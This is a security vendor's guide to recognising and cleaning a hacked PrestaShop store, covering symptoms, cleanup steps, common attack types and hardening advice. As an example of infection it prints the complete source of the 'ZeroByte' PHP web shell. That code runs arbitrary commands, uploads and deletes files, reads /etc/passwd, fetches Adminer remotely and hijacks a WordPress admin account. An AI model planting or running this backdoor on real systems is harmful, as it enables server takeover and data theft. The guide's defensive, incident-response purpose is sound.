Did you notice any unusual activity such as – unknown admins, malicious pop-ups, price manipulation, fake orders, drop in traffic, the addition of fake pages, and so on – on your PrestaShop store? Have your customers been complaining about credit card misuse? Have you received any spam related complaints from your clients lately? These symptoms are a strong sign of a PrestaShop hacked store.
PrestaShop hacked cases are not always easy to tackle. Moreover, with a lack of proper information and guide, it’s all too puzzling.
Well, not anymore.
With this detailed & step-by-step guide, we intend to help you in detecting and removing the hack from your PrestaShop store, successfully. Bear with us while we take you through the process of PrestaShop hack removal.
Symptoms of a PrestaShop Hacked Store
Where there is a fire, there is smoke.
When your PrestaShop store is hacked, there are multiple things that can go wrong. You just have to be attentive enough to notice these changes.
The sooner you sniff something’s going wrong with your store, the sooner you can solve it, thus reducing the magnitude of damage to a great extent.
Some tell-tale sign of a PrestaShop hacked are:
1. You will start receiving warning messages
- Whenever someone tries to visit your website the search engine will show some pop-up messages to warn them of the danger ahead.
- You will receive a warning message from your hosting provider.
- You might receive an email notifying you about the blacklisting of your domain.
2. Changes in store files
- New files get added in directories like /admin, /app, /classes, /config, etc. This is a huge indicator as these directories rarely contain extra files.
- Redirecting links will start appearing in your posts.
- Your files will start showing meta description errors.
- When you log in to your website, you might encounter certain FTP files that were not created by you.
3. Your hosting company will disable your website
- When a hacked website starts sending spam to its customers, the hosting company of the site will disable the said website.
- The malicious links on your website can also be the reason why your host disables your website.
4. Sudden increase in PrestaShop store traffic
A sudden increase in traffic points towards a bot or DDOS attack on your store. You can check this attack via Google Analytics & or via a firewall. This attack can result in websites getting crashed, huge utilization of server resources, etc.
5. Speed of your website will either slow down or it crashes
- During a hack, your website will receive several unauthenticated requests which will heat up your server. And it will slow down your website.
- Or, you will receive abnormally huge requests (usually the work of bots) which will crash your server.
6. Unusual activities on your website
- Several unauthenticated ads and pop-ups will show on your website.
- Your website will redirect your visitors to a malicious website.
- Emails sent from your website will end up in spam folders.
- Strange codes start appearing in your website’s files. For example, the following malicious code was found in a PrestaShop store infected with XsamXadoo malware.
<?php
function exect($cmd) {
if(function_exists('system')) {
@ob_start();
@system($cmd);
$exect = @ob_get_contents();
@ob_end_clean();
return $exect;
} elseif(function_exists('exec')) {
@exec($cmd,$results);
$exect = "";
foreach($results as $result) {
$exect .= $result;
} return $exect;
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$exect = @ob_get_contents();
@ob_end_clean();
return $exect;
} elseif(function_exists('shell_exec')) {
$exect = @shell_exec($cmd);
return $exect;
}
}
function fperms($filen) {
$perms = fileperms($filen);
$fpermsinfo .= (($perms & 0x0100) ? 'r' : '-');
$fpermsinfo .= (($perms & 0x0080) ? 'w' : '-');
$fpermsinfo .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
$fpermsinfo .= (($perms & 0x0020) ? 'r' : '-');
$fpermsinfo .= (($perms & 0x0010) ? 'w' : '-');
$fpermsinfo .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
$fpermsinfo .= (($perms & 0x0004) ? 'r' : '-');
$fpermsinfo .= (($perms & 0x0002) ? 'w' : '-');
$fpermsinfo .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
echo '<center><small>'.$fpermsinfo.'</small></center>';
}
?>
<title>ZeroByte.ID PHP Backdoor</title>
<link href='//fonts.googleapis.com/css?family=Share+Tech+Mono' rel='stylesheet' type='text/css'>
<style type="text/css">
body {
font-family: courier;
background: #f2f2f2;
font-size: 1px;
}
h1 a {
font-weight: normal;
font-family: 'Share Tech Mono';
font-size: 20px;
color:#006600;
text-decoration: none;
margin: 0px;
}
h2 {
font-size: 20px;
color: #006600;
text-align: center;
padding-top: 5px;
margin: 0;
margin-top: 10px;
}
.menu {
text-align: center;
font-size: 12px;
border-bottom: 1px dashed #006600;
padding-bottom: 5px;
margin-bottom: 10px;
}
.menu a {
margin-top: 2px;
color: #006600;
text-decoration: none;
display: inline-block;
}
.container {
font-size: 12px;
}
.filemgr {
font-size: 12px;
width: 100%
}
.filemgr td {
padding: 3px;
border-bottom: 1px dashed #006600;
}
.filemgr a{
text-decoration: none;
color:#006600;
}
tr:hover {
background: #cccccc;
}
.tdtl {
background:#006600;color:#ffffff;text-align:center;font-weight:bold;
}
.footer {
text-align: center;
border-radius: 30px;
margin-top: 25px;
border-top: 1px double #006600;
padding: 5px;
}
.footer a {
color: #006600;
text-decoration: none;
}
p {
word-wrap: break-word;
margin:2;
}
a {
text-decoration: none;
color: #006600;
}
.act {
text-align: center;
}
.txarea {
width:100%;
height:200px;
background:transparent;
border:1px solid #006600;
padding:1px;color:#006600;
}
</style>
<div class="container">
<div style="position:relative;width: 100%;margin-bottom: 5px;border-bottom: 1px dashed #006600;">
<div style="float: left;width: 15%;text-align: center;border: 1px dashed #006600;margin-bottom: 5px;">
<h1><a href="?">ZeroByte Shell<br><small>V 1.2 (Beta)</small></a></h1>
</div>
<div style="float: right;width: 83%;">
<?php
echo php_uname();
$mysql = (function_exists('mysql_connect')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
$curl = (function_exists('curl_version')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
$wget = (exect('wget --help')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
$perl = (exect('perl --help')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
$gcc = (exect('gcc --help')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
$disfunc = @ini_get("disable_functions");
$show_disf = (!empty($disfunc)) ? "<font color=red>$disfunc</font> <a href='?bypass=killdiscfunc' style='text-decoration:none;color:#0000FF;font-weight: bold;'>[ KILL ME ]</a>" : "<font color=#006600>NONE</font>";
echo '<br>[ MySQL: '.$mysql.' ][ Curl: '.$curl.' ][ Wget: '.$wget.' ][ Perl: '.$perl.' ][ Compiler: '.$gcc.' ]';
echo '<p>Disable Function: '.$show_disf;
?>
</div>
<div style="clear: both;" ="clear"></div>
</div>
<?php
if(empty($_GET)) {
$dir = getcwd();
}
else {
$dir = $_GET['path'];
}
if(!empty($_GET['path'])) {$offdir = $_GET['path'];}
else if(!empty($_GET['file'])) {$offdir = dirname($_GET['file']);}
else if(!empty($_GET['lastpath'])) {$offdir = $_GET['lastpath'];}
else {$offdir = getcwd();}
?>
<div class="menu">
<a href="?ext=backupwordpress&lastpath=<?php echo $offdir;?>">[ Jumping Backup WordPress ]</a>
<a href="?ext=sql_interface&lastpath=<?php echo $offdir;?>">[ MySQL Interface ]</a>
<a href="?ext=shellcmd&lastpath=<?php echo $offdir;?>">[ Shell Command ]</a>
<a href="?ext=uploader&lastpath=<?php echo $offdir;?>">[ Uploader ]</a>
</div>
<?php
## CURRENT DIR ##
echo '<div style="margin-bottom:10px;">';
echo '<span style="border:1px dashed #009900;padding:2px;">';
$lendir = str_replace("\\","/",$offdir);
$xlendir = explode("/", $lendir);
foreach($xlendir as $c_dir => $cdir) {
echo "<a href='?path=";
for($i = 0; $i <= $c_dir; $i++) {
echo $xlendir[$i];
if($i != $c_dir) {
echo "/";
}
}
echo "'>$cdir</a>/";
}
echo '</span></div>';
## EOF CURRENT DIR ##
if(!empty($dir)) {
echo '<table class="filemgr">';
echo '<tr><td class="tdtl">Name</td><td class="tdtl" width="9%">Permission</td><td class="tdtl" width="18%">Action</td></tr>'."\n";
$directories = array();
$files_list = array();
$files = scandir($dir);
foreach($files as $file){
if(($file != '.') && ($file != '..')){
if(is_dir($dir.'/'.$file)){
$directories[] = $file;
} else{
$files_list[] = $file;
}
}
}
foreach($directories as $directory){
echo '<tr><td><span class="dbox">[D]</span> <a href="?path='.$dir.'/'.$directory.'">'.$directory.'/</a></td>'."\n";
echo '<td>';
fperms($dir.'/'.$directory);
echo '</td>'."\n";
echo '<td class="act">';
echo '<a href="?action=rename&file='.$dir.'/'.$directory.'" class="act">RENAME</a> ';
echo '<a href="?action=rmdir&file='.$dir.'/'.$directory.'" class="act">DELETE</a>';
echo '</td>'."\n";
echo '</tr>'."\n";
}
foreach($files_list as $filename){
if(preg_match('/(tar.gz)$/', $filename)) {
echo '<tr><td><span class="dbox">[F]</span> <a href="#" class="act">'.$filename.'</a>'."\n";
echo ' <a href="?ext=extract2tmp&gzname='.$dir.'/'.$filename.'" style="background:#006600;color:#ffffff;padding:1px;padding-left:5px;padding-right:5px;">EXTRACT TO TMP</a>';
echo '</td>'."\n";
echo '<td>';
fperms($dir.'/'.$filename);
echo '</td>'."\n";
echo '<td class="act">';
echo '<a href="?action=rename&file='.$dir.'/'.$filename.'" class="act">RENAME</a> ';
echo '<a href="?action=delete&file='.$dir.'/'.$filename.'" class="act">DELETE</a> ';
echo '<a href="?action=download&file='.$dir.'/'.$filename.'" class="act">DOWNLOAD</a>';
echo '</td>'."\n";
echo '</tr>'."\n";
}
else {
echo '<tr><td><span class="dbox">[F]</span> <a href="?action=view&file='.$dir.'/'.$filename.'" class="act">'.$filename.'</a></td>'."\n";
echo '<td>';
fperms($dir.'/'.$filename);
echo '</td>'."\n";
echo '<td class="act">';
echo '<a href="?action=edit&file='.$dir.'/'.$filename.'" class="act">EDIT</a> ';
echo '<a href="?action=rename&file='.$dir.'/'.$filename.'" class="act">RENAME</a> ';
echo '<a href="?action=delete&file='.$dir.'/'.$filename.'" class="act">DELETE</a> ';
echo '<a href="?action=download&file='.$dir.'/'.$filename.'" class="act">DOWNLOAD</a>';
echo '</td>'."\n";
echo '</tr>'."\n";
}
}
echo '</table>';
}
if($_GET['action'] == 'edit') {
if($_POST['save']) {
$save = file_put_contents($_GET['file'], $_POST['src']);
if($save) {
$act = "<font color=#006600>Successed!</font>";
} else {
$act = "<font color=red>Permission Denied!</font>";
}
echo "".$act."<br>";
}
echo "Filename: <font color=#006600>".basename($_GET['file'])."</font>";
echo "<form method='post'>
<textarea name='src' class='txarea'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
<input type='submit' value='Save' name='save' style='width: 20%;background:#006600;border:none;color:#f2f2f2;margin-top:5px;height:30px;'>
</form>";
}
else if($_GET['action'] == 'view') {
echo "Filename: <font color=#006600>".basename($_GET['file'])."</font>";
echo "<textarea class='txarea' style='height:400px;' readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
}
else if($_GET['action'] == 'rename') {
$path = $offdir;
if($_POST['do_rename']) {
$rename = rename($_GET['file'], "$path/".htmlspecialchars($_POST['rename'])."");
if($rename) {
$act = "<font color=#006600>Successed!</font>";
} else {
$act = "<font color=red>Permission Denied!</font>";
}
echo "".$act."<br>";
}
echo "Filename: <font color=#006600>".basename($_GET['file'])."</font>";
echo "<form method='post'>
<input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
<input type='submit' name='do_rename' value='rename'>
</form>";
}
else if($_GET['action'] == 'delete') {
$path = $offdir;
$delete = unlink($_GET['file']);
if($delete) {
} else {
$act = "<font color=red>Permission Denied!</font>";
}
echo $act;
} else if($_GET['action'] == 'rmdir') {
$path = $offdir;
$delete = rmdir($_GET['file']);
if($delete) {
echo '<font color=#006600>Deleted!</font><br>';
} else {
echo "\n<font color=#006600>Try Force Delete!</font>\n<br>";
exect('rm -rf '.$_GET['file']);
if(file_exists($_GET['file'])) {
echo '<font color=red>Permission Denied!</font>';
} else
{
echo '<font color=#006600>Deleted!</font>';
}
}
} else if($_GET['action'] == 'download') {
@ob_clean();
$file = $_GET['file'];
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.$file.'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
if($_GET['ext'] == 'backupwordpress') {
echo '<h2>.::[ Jumping From Backup WordPress ]::.</h2>';
$i = 0;
echo "<pre><div class='margin: 5px auto;'>";
$etc = fopen("/etc/passwd", "r");
while($passwd = fgets($etc)) {
if($passwd == '' || !$etc) {
echo "<center><font color=red>Can't read /etc/passwd</font></center>";
} else {
preg_match_all('/(.*?):x:/', $passwd, $user);
foreach($user[1] as $users) {
$user_dir = "/home/$users/backupwordpress";
if(is_readable($user_dir)) {
$i++;
$jrw = "[R] <a href='?path=$user_dir'>/home/$users/backupwordpress</a>";
if(is_writable($user_dir)) {
$jrw = "[RW] <a href='?path=$user_dir'>/home/$users/backupwordpress</a>";
}
echo $jrw."\n";
}
}
}
}
if($i == 0) {
echo '<center><font color=red>backupwordpress is null in this host!</font></center>';
} else {
echo "<br>Total ".$i." Users in ".gethostbyname($_SERVER['HTTP_HOST'])."";
}
echo "</div></pre>";
}
### EXTRACTOR TO TMP ###
else if($_GET['ext'] == 'extract2tmp')
{
if (file_exists($_SERVER["DOCUMENT_ROOT"].'/tmp/') && is_writable($_SERVER["DOCUMENT_ROOT"].'/tmp/')) {
$tmppath = $_SERVER["DOCUMENT_ROOT"].'/tmp/';
}
else if(file_exists(dirname($_SERVER["DOCUMENT_ROOT"]).'/tmp/') && is_writable(dirname($_SERVER["DOCUMENT_ROOT"]).'/tmp/')) {
$tmppath = dirname($_SERVER["DOCUMENT_ROOT"]).'/tmp/';
}
else if(file_exists('/tmp/') && is_writable('/tmp/')) {
$tmppath = '/tmp/';
}
else {
$tmppath = '';
}
if(!empty($tmppath)) {
$gzfile = $_GET['gzname'];
echo '[FILE] '.$gzfile.'<br>';
echo '-- extract to --<br>';
echo '[TMP] '.$tmppath.'<br>';
$bsname = basename($gzfile);
$gzrname = explode(".", $bsname);
echo '<form method="post" action="">';
echo '<input name="extract" type="submit" value="EXTRACT">';
echo '</form>';
if(!empty($_POST['extract'])) {
exect('mkdir '.$tmppath.$gzrname[0]);
$destdir = $tmppath.$gzrname[0];
if (file_exists($destdir) && is_writable($destdir)) {
echo "\n".'[EXTRACTED] <a href="?path='.$destdir.'">'.$destdir.'</a>'."\n";
exect('tar -xzvf '.$gzfile.' -C '.$destdir);
}
else
{
echo 'FAILED!';
}
}
}
else {
echo 'CANNOT EXTRACT TO TMP!';
}
}
### EXTRACTOR TO TMP - EOF ###
### CMD ###
else if($_GET['ext'] == 'shellcmd')
{
echo '<h2>.::[ Shell Command ]::.</h2>';
echo '<form method="post" action="">';
echo 'terminal:~$ <input name="cmd" type="text" placeholder="echo zerobyte" style="width:300px"/>';
echo ' <input type="submit" value=">>"/>';
echo '</form>';
if(!empty($_POST['cmd'])) {
echo '<textarea style="width:100%;height:150px;" readonly>';
$cmd = $_POST['cmd'];
echo exect($cmd);
echo '</textarea>';
}
}
### CMD EOF ###
### UPLOADER ###
else if($_GET['ext'] == 'uploader')
{
echo '<h2>.::[ Uploader ]::.</h2>';
echo '<center>';
echo '<form method=post enctype=multipart/form-data>';
echo '<br><br>PATH ['.$offdir.']<br>';
echo '<input type="file" name="zerofile"><input name="postupl" type="submit" value="Upload"><br>';
echo '</form>';
if($_POST["postupl"] == 'Upload')
{
if(@copy($_FILES["zerofile"]["tmp_name"],"$offdir/".$_FILES["zerofile"]["name"]))
{ echo '<b>OK! '."$offdir/".$_FILES["zerofile"]["name"].'</b>'; }
else
{ echo '<b>Upload Failed.</b>'; }
}
echo '</center>';
}
### UPLOADER EOF ###
### MYSQL INTERFACE ###
else if($_GET['ext'] == 'sql_interface')
{
echo '<h2>.::[ MySQL Interface ]::.</h2>';
echo '<center>';
$dwadminer = 'https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php';
$fileadminer = 'z-adminer.php';
function call_adminer($dwadminer, $fileadminer) {
$fp = fopen($fileadminer, "w+");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $dwadminer);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FILE, $fp);
return curl_exec($ch);
curl_close($ch);
fclose($fp);
ob_flush();
flush();
file_put_contents($dwadminer, $fileadminer);
}
echo '<form method=post enctype=multipart/form-data>';
echo '<input name="mysql_int" type="submit" value="Call Adminer 4.3.1"><br>';
echo '</form>';
if($_POST['mysql_int'] == 'Call Adminer 4.3.1') {
call_adminer($dwadminer, $fileadminer);
$linkz = (isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]";
if(file_exists('z-adminer.php')) {
echo '<a href="'.$linkz.dirname($_SERVER['PHP_SELF']).'/'.$fileadminer.'" target="_blank">Adminer OK!</a>';
}
else {
echo '<font color="red">[FAILED]</a>';
}
}
echo '</center>';
}
### MYSQL INTERFACE EOF ###
### TAMBAHAN BACKUPWORDPRESS BASH ###
if($_GET['grab'] == 'wp_options') {
$userdb = $_POST['wpuser'];
$passdb = $_POST['wppass'];
$namedb = $_POST['wpdb'];
$hostdb = $_POST['wphost'];
echo 'WP_OPTIONS';
if(!empty($userdb)) {
$link = mysql_connect($hostdb, $userdb, $passdb);
if (!$link) {die('Could not connect: ' . mysql_error());}
if (!mysql_select_db($namedb)) {die('Could not select database: ' . mysql_error());}
//
$tblz = mysql_query("SELECT table_name FROM information_schema.tables WHERE table_schema='".$namedb."' AND table_name LIKE '%_options' LIMIT 1");
if (!$tblz) {die('Could not query:' . mysql_error());}
$tbl = mysql_result($tblz, 0, 'table_name'); // outputs third employee's name
$result = mysql_query("SELECT option_value FROM ".$tbl." WHERE option_name = 'siteurl' AND option_id = '1'");
if (!$result) {die('Tbl Could not query:' . mysql_error());}
echo "\n".'[DOMAIN] '.mysql_result($result, 0, 'option_value')."\n"; // outputs third employee's name
mysql_close($link);
}
} else if($_GET['grab'] == 'wp_users_updt') {
$userdb = $_POST['wpuser'];
$passdb = $_POST['wppass'];
$namedb = $_POST['wpdb'];
$hostdb = $_POST['wphost'];
$prefix = $_POST['tpfx'];
echo 'WP_USERS';
$conn = new mysqli($hostdb, $userdb, $passdb, $namedb);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "UPDATE ".$prefix."users SET user_login = 'bedzns', user_pass = MD5('bedzns') WHERE user_status = '0' LIMIT 1";
if ($conn->query($sql) === TRUE) {
echo "Record updated successfully";
} else {
echo "Error updating record: " . $conn->error;
}
$conn->close();
}
### TAMBAHAN BACKUPWORDPRESS BASH EOF ###
### FOOTER ###
echo '<div class="footer">';
echo '© 2017 <a href="https://zerobyte.id/ rel="nofollow" target="_blank">ZeroByte.ID</a>';
echo '</div>';
echo '</div>';
?>
How to fix a PrestaShop hack?
If your website shows any of the above-mentioned symptoms, then your PrestaShop is most probably hacked.
Steps to fix the PrestaShop hack
- Take a backup of our store
- Turn on maintenance mode
- Scan your PrestaShop store with a malware scanner
- Clean the found malware
- Check for extension or theme vulnerabilities
- Change Current Passwords
- Diagnose Files
- Secure with a Firewall
Now, you can either get a professional malware cleanup by Astra, in which Astra security experts will detect and clean the malware from your store all under 4 hours.
Or you can indulge in the extensive manual hack removal process. However, as security experts, we know there are too many intricacies go into a website’s backend and database, which should be handled very carefully in order to not mess the site completely.
This is why we do not recommend fiddling with your store’s sensitive files unless you have prior tech knowledge and experience with hack removal. If you’re not hands-on with this stuff, you can always get Astra security experts to help you out with this under their Immediate Malware Removal plan.
Otherwise, please follow these steps to detect and remove the malware:
1. Scan your store with a malware scanner
To confirm & detect PrestaShop hacked case, scan your website with the Astra Malware scanner.
Astra’s in-built & automated malware scanner detects any ongoing malicious activity on your PrestaShop store with just a click of a button. Scan results of the Malware scanner look something like the following snapshot:
In case of infection in existing files, the Astra firewall also gives you an option to review changes in these files with it’s ‘View File Difference‘ feature.
In case you find malicious files on your server you can easily delete it from the Astra dashboard with just a click. You can start using Astra’s malware scanner with a price as low as $24/month.
2. Backup your Prestashop website
Before proceeding any further, take a full backup of your PrestaShop store. Taking a backup is one of the most crucial steps in manual malware removal. With a functional and complete backup, you can easily restore your site, if a major blunder happens during the course of the cleanup.
A website backup includes the backups of all important files and directories such as /admin, /classes, /bin, /config, etc and the database.
Files Backup
All those files that contain information related to your website’s code, configuration, themes, plugins, design, and content should be included in the backup. You can either contact your hosting provider to take a complete backup of your store. Or make use of backup plugins like NT Backup and Restore that make the entire backup process easier. To create a backup, you just have to:
- Install the plugin
- Activate the plugin
- And backup your website and store it somewhere safe.
Alternatively, you can also migrate your store to the cloud via SSH. To do this, follow the mentioned steps:
- Login to your website via SSH.
- Run the following command to create a zip file of your website: – zip -r backup-pre-cleanup.zip
Database Backup
To backup your PrestaShop’s database, you can use the mysqldump command in your MYSQL client to do a complete backup of your database.
Or you can export your database and store it on your computer via PHPMyAdmin. To do this,
- Login to your website using PHPMyAdmin.
- Export your website’s database.
3. Turn on maintenance mode
Making changes in a live website is never a good idea. It can hamper with customer’s experience and leave them with an awful taste about your e-commerce store. Instead, turn on the maintenance mode and then make changes. This will show a page similar to the following to your customers:
To turn on the maintenance mode:
- Login to the admin account of your PrestaShop store.
- Select Preferences from the top menu bar, and then select the Maintenance option from the dropbox.
- Select No under the Enable box to make your store offline.
- In the Maintenance box, enter the IP address you want to have access to your website in the period of maintenance.
- Click Save.
After turning on the maintenance mode, the visitors to your website will receive a warning message of the website under maintenance.
4. Check for extension vulnerabilities
Nonsecure add-ons/modules are one of the most common attack vectors for hackers. More than 50% of PrestaShop hacked cases had at least one add-on/module vulnerability into play.
It may be possible that your store became a victim of an active exploit on some zero-day vulnerability. Hence, don’t forget to check on forums if others are also facing the same issue.
Also, while looking for vulnerabilities on forums, don’t forget to check your backend if you have any defunct and obsolete add-on installed. If so, make sure that all the unsafe add-ons are removed from your website.
5. Change Current Passwords
Whenever there is a hack on the website, it is safer to assume that all your admin accounts and passwords are compromised. If you can gain access to your account even after a hack, then your first response should be to change all your password immediately. After changing the passwords, opt for re-authentication to log you out of every other website. Use a strong password for your website.
6. Diagnose Files
Diagnosing files is a very important step in PrestaShop hack removal. Under a cyberattack, the files are affected severely as the attacker tends to change the structure of the files and folders for their benefits. The following image shows the possible file structure of a PrestaShop website.
- Run your files through a malware scanner for malicious codes.
- Compare your current files with original PrestaShop files.
- Find the files that are different from the above-shown file names.
7. Clean the malware from PrestaShop site
After finding the malicious software and listing them, the next step is to remove malware from your website. Clean the core files of PrestaShop such as /admin, /classes, /config, /bin, etc. Here are some important in-depth PrestaShop hack removal guides in relation to certain PrestaShop hack symptoms.
- Fixing PrestaShop Redirect hack (If your website is redirecting your visitor to a malicious website)
- Fixing Prestashop index.php ( It is the landing page of a PrestaShop store where most attacks happen)
- Fix Cryptojacking CoinHive malware
- Fixing Google blacklisting of your website ( Warning messages pops up when there is a hack on the website)
- PrestaShop malware and backdoor removal
8. Block Access
When a website is under attack, the first step that you should take is to block access to your sensitive folders. It can be done by introducing a .htaccess file inside them. In that file, enter which IP addresses to allow and which addresses to deny.
9. Check Permissions
It is important to not ignore checking the right permissions for your files. Make sure that for files, it is 644(rw-r–r–) and for directories, it is 755 (rwxr-xr-x). So that they are not misused.
10. Secure with a Firewall
Protect your store from all future PrestaShop hacked cases with a real-time and proactive WAF (Web Application Firewall). A firewall not only filters the coming malicious traffic but also blocks attack attempts. Choosing an efficient firewall like Astra’s protects your website from XSS, SQLi, CSRF, BAD BOTS, SPAM, CREDIT CARD HACK, OWASP TOP 10, LFI/RFI, CODE EXECUTION and 100+ other attack types.
What are the possible reasons for PrestaShop Hack?
Removal of malware is never enough to ensure the security of a website. It is like cleaning your room floor once and not to disinfect it. I mean, it’s not like the floor is going to disinfect itself, right? For ensuring complete security of your website, it is important to know all the possible reasons so that you can prepare for the attacks. Some of them are:
1. Using an outdated version of PrestaShop
When a new update is launched for a website, it not only contains usual CMS features but it also contains additional security features. And if you are still using an outdated version of PrestaShop you are just attracting hackers to your website. So be quick and install the latest version!
2. Using weak login credentials
Do not use your user name, your name, your phone number, etc. These passwords are quite easy to crack. Make sure that your password consists of alphabets, numeric values, and characters. Because a combination of these can make your password very strong.
3. Sharing a Host Server
Some website owners decide to share a host server in order to keep the costs low. Hosting a shared server can keep the cost low but it can also invite the attackers to your server. And it can cost you much more than what you have saved.
4. Using incorrect File permissions
Set the correct file permissions, 644 for files and 755 for directories. So, they are not misused. For more details on PrestaShop File permissions and how to set them, visit here.
5. Using outdated plugins and themes
When you are using outdated versions of plugins and themes on your website, you might want to reconsider it. Older versions of plugins and inactive themes are the places where the hacker tends to leave a backdoor or a series of malicious codes. So, if the updates of plugins and themes are available, make sure that you have them!
How hackers attack the PrestaShop website?
1. PrestaShop hack: SQL Injection
SQL Injection attack accounts for more than 51% of the attack worldwide. SQL based databases are quite vulnerable to injection attacks. This attack occurs when the attacker enters SQL queries in the input box instead of the valid credentials. These queries will be run by your database and can do changes to your database without your permission.
You can save your website by input validation, routine audit etc. For more information on the SQL Injection attack, visit here: SQL Injection(SQLi) attack: All you need to know.
2. PrestaShop hack: XSS (Cross-site scripting)
For the past few years, XSS vulnerabilities have been found in more than 50% of the websites. If not fixed, it can cause loss to millions of users. It is a client-side injection attack. The attacker injects some links to your website which will take the visitor to a malicious or infected page. To prevent an XSS attack on your website, you will need to know everything about them. XSS attack: A complete Guide, this blog contains everything that you need to know to secure your website from an XSS attack ranging from types of XSS attacks to ways to prevent them.
3. PrestaShop hack: Remote Code Execution
As the name suggests, the attacker remotely gains access to your website by planting a bug on your website. After gaining authentication to your website, he/she can run your site as per their preferences. For more information on Remote code execution, visite here.
4. PrestaShop hack: Privilege Escalation
Privilege Escalation attack occurs when lower users are granted the power of higher grade users. It is dubbed as CVE-2018-13784.
When an attacker gains the privileges provided to an admin, he/she may use it to change the behavior of your website. He can also misuse sensitive information such as the credit card credentials and addresses of your customers.
5. PrestaShop hack: Japanese SEO Spam
In Japanese keyword hack, the attacker injects Japanese keywords into your website. It is a type of black-hat SEO technique that hijacks a website and displays Japanese keywords all over your website and the search engine that you are using.
The reasons for Japanese SEO Spam can be using an outdated version of PrestaShop, bad plugins, etc. For further information, visit here: How to remove Japanese keyword hack?
6. PrestaShop hack: CSRF( Cross-site Request Forgery)
Cross-site Request Forgery involves sending unauthenticated requests via your website without your information. These requests vary from redirecting you to a malicious site to stealing your money by unauthenticated requests. For more information on CSRF, visit here: CSRF Attack: All you need to know.
Security After a Prestashop Hacked
1) Prestashop Security: Block Access
If your Prestashop got hacked, first block access to sensitive folders. This can be done by creating a .htaccess
file inside them. In that file write:
Order Deny,Allow
Deny from all
Allow from 22.33.44.55
This piece of code denies access to the file/folder. Further, the last line specifies which IPs to allow. You can also add a range of IPs. You might wanna look at modified .htaccess
files too. Clean them first in case of a Prestashop hack.
2) Prestashop Security: Check Permission
Secondly, ensure that there are correct permissions for files. In case of directories they are 755 (rwxr-xr-x)
and for files 644(rw-r--r--)
. Ensure they are set correctly to prevent misuse of file access.
3) Prestashop Security: Rogue Modules
We have seen cases in which Prestashop got hacked because of vulnerable plugins. Look out for buggy or outdated modules. Update or replace them. There are always alternate options available.
4) Prestashop Security: Encryption
Encrypt login values in admin tables. This can act as a second barrier in case the database is compromised. Also, use a separate database for other web applications installed on the same server.
5) Prestashop Security: Passwords
Use strong FTP and login credentials. Do not use commonly used words or phrases!
6) Prestashop Security: Obsfuricated code
Hackers try to hide code. They do so by using encoding not readable to human eyes. So, probably wanna lookout for code hidden in base64 format. Manually it’s like finding a needle in a haystack. A simple piece of code can do the trick.
find . -name "*.php" -exec grep "base64"'{}'\; -print &> weirdcode.txt
This code would look for base64 encoded code and save it inside weirdcode.txt
. From here on analyzing what’s wrong. Probably wanna look out for redirecting domains like:
<li><a href="weird-domain.com">Something1</a></li>
Look in the file weirdcode.txt
for some fishy domains.
7) Prestashop Security: Update and Backup
Backup all your files if you haven’t. Update them regularly. Install a fresh installation from the official sites. Stay updated about recent patches. Official blogs are the best for this purpose.
8) Prestashop Security: Prestashop Firewall
To avoid the Prestashop hack in future use a firewall. A firewall basically keeps unauthorized users out of your system. There are pretty cool firewalls available in the market. Some are free others can cost you a cup of coffee. You can also use a plugin for this purpose.
Conclusion
A Prestashop hack can lead to the total destruction of your business. E-commerce security is a sensitive issue. Cleaning up the mess created by the Prestashop hack is a mammoth task. Therefore prevention is better than cure. So, use WAF or security solution to keep the hackers at bay. Also, update your installations regularly and keep checking for suspicious activity. Remember you are as strong as your weakest link!